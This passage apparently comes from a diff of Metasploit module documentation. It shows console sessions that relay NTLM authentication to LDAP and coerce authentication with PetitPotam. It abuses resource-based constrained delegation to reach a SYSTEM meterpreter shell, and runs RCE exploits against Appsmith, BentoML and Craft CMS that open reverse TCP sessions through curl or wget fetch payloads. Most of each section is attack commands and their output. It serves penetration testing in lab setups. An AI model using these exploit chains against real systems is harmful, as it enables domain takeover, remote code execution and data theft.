|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for NEWLAB\Administrator
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: NEWLAB\Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 2 opened (192.168.232.3:43845 -> 192.168.232.110:389) at 2025-01-23 20:39:46 +0100
|
||||
[*] Received request for NEWLAB\Administrator
|
||||
[*] Identity: NEWLAB\Administrator - All targets relayed to
|
||||
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:45007 -> 192.168.232.110:389 (192.168.232.110)
|
||||
2 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:43845 -> 192.168.232.110:389 (192.168.232.110)
|
||||
```
|
||||
|
||||
### PetitPotam example
|
||||
|
||||
Coerce authentication using a non-privileged Domain User account with PetitPotam:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > run verbose=true rhosts=192.168.232.111 listener=192.168.232.3 SMBUser=msfuser SMBPass=123456 SMBDomain=newlab.local
|
||||
[*] 192.168.232.111:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
|
||||
[*] 192.168.232.111:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
|
||||
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw
|
||||
[*] 192.168.232.111:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.)
|
||||
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv
|
||||
|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for NEWLAB\VICTIM$
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: NEWLAB\VICTIM$ - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[*] Skipping previously captured hash for NEWLAB\VICTIM$
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 1 opened (192.168.232.3:46691 -> 192.168.232.110:389) at 2025-01-23 19:19:18 +0100
|
||||
[*] Received request for NEWLAB\VICTIM$
|
||||
[*] Identity: NEWLAB\VICTIM$ - All targets relayed to
|
||||
|
||||
[+] 192.168.232.111:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
|
||||
[*] 192.168.232.111:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 ldap LDAP VICTIM$ @ 192.168.232.110:389 192.168.232.3:46691 -> 192.168.232.110:389 (192.168.232.110)
|
||||
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
LDAP (192.168.232.110) > query -f (sAMAccountName=VICTIM$)
|
||||
CN=VICTIM,CN=Computers,DC=newlab,DC=local
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
accountexpires 9223372036854775807
|
||||
badpasswordtime 133820110912034399
|
||||
badpwdcount 0
|
||||
cn VICTIM
|
||||
...
|
||||
|
||||
LDAP (192.168.232.110) >
|
||||
Background session 1? [y/N]
|
||||
```
|
||||
|
||||
### Exploit Resource-based Constrained Delegation (RBCD)
|
||||
|
||||
For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation
|
||||
|
||||
- Create a computer account with the `admin/dcerpc/samr_account` module and the same Domain User account
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run verbose=true rhost=192.168.232.110 SMBUser=msfuser SMBPASS=123456 SMBDomain=newlab.local action=ADD_COMPUTER ACCOUNT_NAME=FAKE01$ ACCOUNT_PASSWORD=123456
|
||||
[*] Running module against 192.168.232.110
|
||||
[*] 192.168.232.110:445 - Adding computer
|
||||
[*] 192.168.232.110:445 - Connecting to Security Account Manager (SAM) Remote Protocol
|
||||
[*] 192.168.232.110:445 - Binding to \samr...
|
||||
[+] 192.168.232.110:445 - Bound to \samr
|
||||
[+] 192.168.232.110:445 - Successfully created newlab.local\FAKE01$
|
||||
[+] 192.168.232.110:445 - Password: 123456
|
||||
[+] 192.168.232.110:445 - SID: S-1-5-21-3065298949-3337206023-618530601-1618
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Setup RBCD with the `admin/ldap/rbcd` module using the LDAP session
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=WRITE delegate_from=FAKE01$
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
|
||||
[*] Added account:
|
||||
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[*] Allowed accounts:
|
||||
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Getting the Kerberos tickets using the `admin/kerberos/get_ticket` module
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=FAKE01 password=123456 domain=newlab.local spn=cifs/VICTIM.newlab.local impersonate=Administrator
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] 192.168.232.110:88 - Received a valid TGT-Response
|
||||
[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
|
||||
[*] 192.168.232.110:88 - Getting TGS impersonating Administrator@newlab.local (SPN: cifs/VICTIM.newlab.local)
|
||||
[+] 192.168.232.110:88 - Received a valid TGS-Response
|
||||
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
|
||||
[+] 192.168.232.110:88 - Received a valid TGS-Response
|
||||
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Code execution using the `windows/smb/psexec` module
|
||||
|
||||
```
|
||||
msf6 exploit(windows/smb/psexec) > klist
|
||||
Kerberos Cache
|
||||
==============
|
||||
id host principal sname enctype issued status path
|
||||
-- ---- --------- ----- ------- ------ ------ ----
|
||||
105 192.168.232.110 FAKE01@NEWLAB.LOCAL krbtgt/NEWLAB.LOCAL@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
|
||||
106 192.168.232.110 Administrator@NEWLAB.LOCAL FAKE01@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
|
||||
107 192.168.232.110 Administrator@NEWLAB.LOCAL cifs/VICTIM.newlab.local@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
|
||||
|
||||
msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.111 username=Administrator smb::auth=kerberos smb::rhostname=VICTIM.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local
|
||||
[*] Started reverse TCP handler on 192.168.232.3:4444
|
||||
[*] 192.168.232.111:445 - Connecting to the server...
|
||||
[*] 192.168.232.111:445 - Authenticating to 192.168.232.111:445|newlab.local as user 'Administrator'...
|
||||
[*] 192.168.232.111:445 - Using cached credential for cifs/VICTIM.newlab.local@NEWLAB.LOCAL Administrator@NEWLAB.LOCAL
|
||||
[*] 192.168.232.111:445 - Selecting PowerShell target
|
||||
[*] 192.168.232.111:445 - Executing the payload...
|
||||
[+] 192.168.232.111:445 - Service start timed out, OK if running a command or non-service executable...
|
||||
[*] Sending stage (177734 bytes) to 192.168.232.111
|
||||
[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.111:42528) at 2025-01-23 19:35:07 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : VICTIM
|
||||
OS : Windows Server 2019 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : NEWLAB
|
||||
Logged On Users : 9
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
## Vulnerable Application
|
||||
|
||||
An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* v1.20 <= Appsmith <= v1.51
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* Appsmith v1.50 installed with Docker
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. Create a docker-compose.yml file with:
|
||||
```
|
||||
version: "3"
|
||||
services:
|
||||
appsmith:
|
||||
image: index.docker.io/appsmith/appsmith-ce:v1.50
|
||||
container_name: appsmith
|
||||
ports:
|
||||
- "80:80"
|
||||
- "443:443"
|
||||
volumes:
|
||||
- ./stacks:/appsmith-stacks
|
||||
restart: unless-stopped
|
||||
```
|
||||
|
||||
2. `docker-compose up`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/appsmith_rce_cve_2024_55964`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/appsmith_rce_cve_2024_55964
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/appsmith_rce_cve_2024_55964) > options
|
||||
|
||||
Module options (exploit/linux/http/appsmith_rce_cve_2024_55964):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME XIYHCHbc no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/appsmith_rce_cve_2024_55964) > run lhost=172.18.0.1 rhost=172.18.0.2 rport=80
|
||||
[*] Started reverse TCP handler on 172.18.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 1.50 detected.
|
||||
[*] Successfully signed up.
|
||||
[*] Successfully saved DB configuration.
|
||||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:56752) at 2025-04-05 14:41:08 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: postgres
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.18.0.2
|
||||
OS : Ubuntu 20.04 (Linux 6.6.15-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,131 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the v1.4.2 of BentoML.
|
||||
It allows any unauthenticated user to execute arbitrary code on the server.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* 1.3.4 <= BentoML < 1.4.3
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* BentoML 1.4.2 installed on Ubuntu 24.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `pip install -U bentoml==1.4.2`
|
||||
|
||||
2. Define APIs in a service.py file:
|
||||
|
||||
```python3
|
||||
import bentoml
|
||||
|
||||
|
||||
@bentoml.service(resources={"cpu": "2"})
|
||||
class Summarization:
|
||||
@bentoml.api(batchable=True)
|
||||
def summarize(self, texts):
|
||||
return texts
|
||||
```
|
||||
|
||||
3. `bentoml serve --host 0.0.0.0`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/bentoml_rce_cve_2025_27520`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### ENDPOINT (optional)
|
||||
Endpoint to use.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Python payload
|
||||
```
|
||||
msf6 > use exploit/linux/http/bentoml_rce_cve_2025_27520
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > options
|
||||
|
||||
Module options (exploit/linux/http/bentoml_rce_cve_2025_27520):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ENDPOINT no Endpoint to use
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 3000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Python payload
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Python\ payload
|
||||
target => Python payload
|
||||
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
|
||||
[*] Use /summarize as api endpoint.
|
||||
[*] Sending stage (24772 bytes) to 192.168.56.16
|
||||
[*] Expected error occurred.
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:34930) at 2025-04-16 21:44:13 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : vul
|
||||
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
|
||||
Architecture : x64
|
||||
System Language : C
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Linux command
|
||||
```
|
||||
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Linux\ Command
|
||||
target => Linux Command
|
||||
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
|
||||
[*] Use /summarize as api endpoint.
|
||||
[*] Expected error occurred.
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:35272) at 2025-04-16 21:45:17 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.16
|
||||
OS : Ubuntu 24.04 (Linux 6.8.0-56-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,165 @@
|
||||
## Vulnerable Application
|
||||
|
||||
There was an insecure deserialization in BentoML's runner server.
|
||||
By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server,
|
||||
which will grant the attackers to have the initial access and information disclosure on the server.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* 1.0.0a1 <= BentoML < 1.4.8
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* BentoML 1.3.5 installed on Ubuntu 20.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `pip install -U bentoml==1.3.5`
|
||||
|
||||
2. Create a file named model.py to create a simple model and save it:
|
||||
```python3
|
||||
import bentoml
|
||||
import numpy as np
|
||||
|
||||
class mymodel:
|
||||
def predict(self, info):
|
||||
return np.abs(info)
|
||||
def __call__(self, info):
|
||||
return self.predict(info)
|
||||
|
||||
model = mymodel()
|
||||
bentoml.picklable_model.save_model("mymodel", model)
|
||||
```
|
||||
|
||||
3. Run the following command to save this model: `python3 model.py`
|
||||
|
||||
4. Create bentofile.yaml to build this model:
|
||||
```yml
|
||||
service: "service.py"
|
||||
description: "A model serving service with BentoML"
|
||||
python:
|
||||
packages:
|
||||
- bentoml
|
||||
- numpy
|
||||
models:
|
||||
- tag: MyModel:latest
|
||||
include:
|
||||
- "*.py"
|
||||
```
|
||||
|
||||
5. Create service.py to host this model:
|
||||
```python3
|
||||
import bentoml
|
||||
from bentoml.io import NumpyNdarray
|
||||
import numpy as np
|
||||
|
||||
|
||||
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
|
||||
|
||||
svc = bentoml.Service("myservice", runners=[model_runner])
|
||||
|
||||
async def predict(input_data: np.ndarray):
|
||||
|
||||
input_columns = np.split(input_data, input_data.shape[1], axis=1)
|
||||
result_generator = model_runner.async_run(input_columns, is_stream=True)
|
||||
async for result in result_generator:
|
||||
yield result
|
||||
```
|
||||
|
||||
6. Run the following commands to build and host this model:
|
||||
```bash
|
||||
bentoml build
|
||||
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Python payload
|
||||
```
|
||||
msf6 > use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > options
|
||||
|
||||
Module options (exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 3000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Python payload
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Python\ payload
|
||||
target => Python payload
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. BentoML's runner server detected.
|
||||
[*] Sending stage (24772 bytes) to 192.168.56.15
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:47712) at 2025-04-17 20:29:12 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : vul
|
||||
OS : Linux 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Linux command
|
||||
```
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Linux\ Command
|
||||
target => Linux Command
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. BentoML's runner server detected.
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.15:43432) at 2025-04-17 20:29:48 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.15
|
||||
OS : Ubuntu 20.04 (Linux 5.4.0-212-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,215 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This Metasploit module exploits a Remote Code Execution vulnerability in Craft CMS.
|
||||
|
||||
The vulnerability lies in improper handling of image transformations, which can be exploited to
|
||||
inject and execute arbitrary PHP code on the server via crafted HTTP requests.
|
||||
|
||||
---
|
||||
|
||||
### Affected Versions
|
||||
|
||||
- **3.x series**: `>= 3.9.15`
|
||||
- **4.x series**: `>= 4.14.15`
|
||||
- **5.x series**: `>= 5.6.17`
|
||||
|
||||
---
|
||||
|
||||
### Setting Up a Vulnerable Lab
|
||||
|
||||
To test this exploit, follow these steps to set up a vulnerable Craft CMS environment.
|
||||
|
||||
#### Docker Setup
|
||||
|
||||
Install a specific vulnerable version of Craft CMS:
|
||||
|
||||
```bash
|
||||
mkdir exploit-craft && \
|
||||
cd exploit-craft && \
|
||||
# Configure DDEV (https://ddev.com/) project for Craft CMS \
|
||||
ddev config \
|
||||
--project-type=craftcms \
|
||||
--docroot=web \
|
||||
--create-docroot \
|
||||
--php-version="8.2" \
|
||||
--database="postgres:15" \
|
||||
--nodejs-version="20" && \
|
||||
# Create the DDEV project
|
||||
ddev start -y && \
|
||||
# Create Craft CMS with the specified version
|
||||
ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \
|
||||
# Install a vulnerable Craft CMS version
|
||||
ddev composer require "craftcms/cms:5.5.0" \
|
||||
--no-scripts \
|
||||
--no-interaction --with-all-dependencies && \
|
||||
# Set the security key for Craft CMS
|
||||
ddev craft setup/security-key && \
|
||||
# Install Craft CMS
|
||||
ddev craft install/craft \
|
||||
--username=admin \
|
||||
--password=password123 \
|
||||
--email=admin@example.com \
|
||||
--site-name=Testsite \
|
||||
--language=en \
|
||||
--site-url='$DDEV_PRIMARY_URL' && \
|
||||
ddev restart && \
|
||||
# Launch the project
|
||||
echo 'Setup complete. Launching the project.' && \
|
||||
ddev launch
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start the vulnerable Craft CMS instance using the steps above.
|
||||
2. Launch `msfconsole`.
|
||||
3. Use the module: `use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432`.
|
||||
4. Set `RHOSTS` to the target Craft CMS instance.
|
||||
5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed.
|
||||
6. Execute the exploit with the `run` command.
|
||||
7. If successful, the module will execute the payload on the target.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
The module has the following option:
|
||||
|
||||
- **ASSET_ID**: This option is required for older versions of Craft CMS, particularly in the 3.x series.
|
||||
It specifies the asset ID for the Craft CMS instance. For 3.x versions, this ID must be set correctly to exploit the vulnerability.
|
||||
|
||||
For example, if you are targeting a Craft CMS version from the `>= 3.0.0`, `< 3.9.14`, make sure to specify the correct `ASSET_ID`.
|
||||
This is necessary for successful exploitation when dealing with these versions.
|
||||
|
||||
Craft CMS uses the notion of an "Asset" to manage files and media such as images and documents; each asset has a unique ID.
|
||||
This module does not perform bruteforcing of asset IDs to avoid noisy and inefficient exploitation attempts.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
#### Successful Exploitation Against Craft CMS 5.5.0
|
||||
|
||||
**Setup**:
|
||||
|
||||
- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`).
|
||||
- Metasploit Framework.
|
||||
|
||||
**Steps**:
|
||||
|
||||
To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps:
|
||||
|
||||
1. Start `msfconsole`:
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
2. Load the module:
|
||||
```bash
|
||||
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
|
||||
```
|
||||
|
||||
3. Set the `RHOSTS` option to the target Craft CMS instance, for example:
|
||||
```bash
|
||||
set RHOSTS exploit-craft.ddev.site
|
||||
```
|
||||
|
||||
4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default:
|
||||
- `RPORT` is set to `80`.
|
||||
- `TARGETURI` is set to `/`.
|
||||
|
||||
5. Set the payload for exploitation. For example:
|
||||
```bash
|
||||
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
```
|
||||
|
||||
6. Set the local listener address and port:
|
||||
```bash
|
||||
set LHOST 192.168.1.36
|
||||
set LPORT 4444
|
||||
```
|
||||
|
||||
7. Run the exploit:
|
||||
```bash
|
||||
exploit
|
||||
```
|
||||
|
||||
**Expected Results**:
|
||||
|
||||
If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell:
|
||||
|
||||
##### For `ARCH_PHP`:
|
||||
|
||||
```bash
|
||||
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > options
|
||||
|
||||
Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ASSET_ID 410 yes Existing asset ID
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
|
||||
etasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
